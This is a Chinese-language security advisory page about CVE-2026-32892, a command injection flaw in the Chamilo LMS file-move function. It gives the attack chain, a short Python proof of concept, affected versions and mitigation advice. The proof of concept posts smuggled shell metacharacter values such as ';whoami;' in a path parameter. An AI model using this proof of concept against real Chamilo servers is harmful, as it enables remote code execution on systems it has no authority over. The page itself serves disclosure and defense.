IPBUF安全漏洞报告
English
CVE-2026-32892 CVSS 9.1 严重

CVE-2026-32892 Chamilo LMS 操作系统命令注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-32892
漏洞类型
操作系统命令注入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

RCE命令注入Chamilo LMSCVSS-9.1CVE-2026-32892

漏洞概述

Chamilo LMS在特定版本中存在操作系统命令注入漏洞。由于文件移动功能未对用户输入路径进行严格的Shell转义,直接将其拼接到系统命令中执行。经过认证的攻击者可利用此漏洞,通过构造恶意目录名并移动文件,实现任意代码执行,从而威胁服务器安全。

技术细节

该漏洞源于Chamilo LMS的`fileManage.lib.php`文件中的`move()`函数。当用户通过`document.php`移动文档时,`move_to` POST参数仅经过`Security::remove_XSS()`过滤,该方法仅移除HTML标签,无法防止Shell命令注入。攻击者控制的路径被直接拼接到`exec("mv $source $target")`中。利用链首先要求攻击者通过“课程备份导入”功能,在服务器上创建一个包含Shell元字符(如分号或反引号)的目录。随后,攻击者发送移动文档的请求,将文件移动至该恶意目录。此时,`exec()`函数会解析目录名中的元字符,导致攻击者预设的系统命令以Web服务器用户身份被执行。由于系统默认允许认证用户创建课程,该漏洞利用门槛较低。

攻击链分析

STEP 1
步骤1:获取认证
攻击者注册或登录Chamilo LMS账号。默认情况下,系统允许所有认证用户创建课程。
STEP 2
步骤2:创建恶意目录
攻击者创建一个新课程,并利用“课程备份导入”功能上传一个特制的备份文件,在服务器文件系统中创建一个包含Shell元字符(如 `;` 或 `&`)的目录名。
STEP 3
步骤3:触发命令注入
攻击者通过发送POST请求到`document.php`,利用`move_to`参数指定将一个文档移动到包含恶意目录名的路径。
STEP 4
步骤4:执行任意命令
后端`move()`函数将未经过滤的路径拼接到`exec()`命令中执行,导致Shell解析元字符并运行攻击者预设的系统命令(如Webshell或反弹Shell)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # This is a conceptual PoC based on the vulnerability description. # Target URL configuration target_url = "http://vulnerable-host/chamilo/main/document/document.php" login_url = "http://vulnerable-host/chamilo/login.php" # Attacker credentials username = "attacker" password = "password" # Step 1: Authenticate and obtain session session = requests.Session() login_data = {"login": username, "password": password} session.post(login_url, data=login_data) # Step 2: The attacker must have previously created a directory with shell metacharacters # via Course Backup Import (e.g., a directory named ";touch /tmp/pwned;"). # Assuming the malicious directory path is known: malicious_dir = "/courses/ATTACKER/document/;whoami;" # Step 3: Trigger the vulnerability by moving a document into the malicious directory payload = { "move_to": malicious_dir, "id": "123" # ID of a document the attacker has access to move } response = session.post(target_url, data=payload) if response.status_code == 200: print("Request sent. Check if command was executed.") else: print("Failed to send request")

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应临时禁用“允许用户创建课程”功能,或严格限制文件上传和移动的权限,并对用户输入进行严格的过滤和验证,防止Shell元字符注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表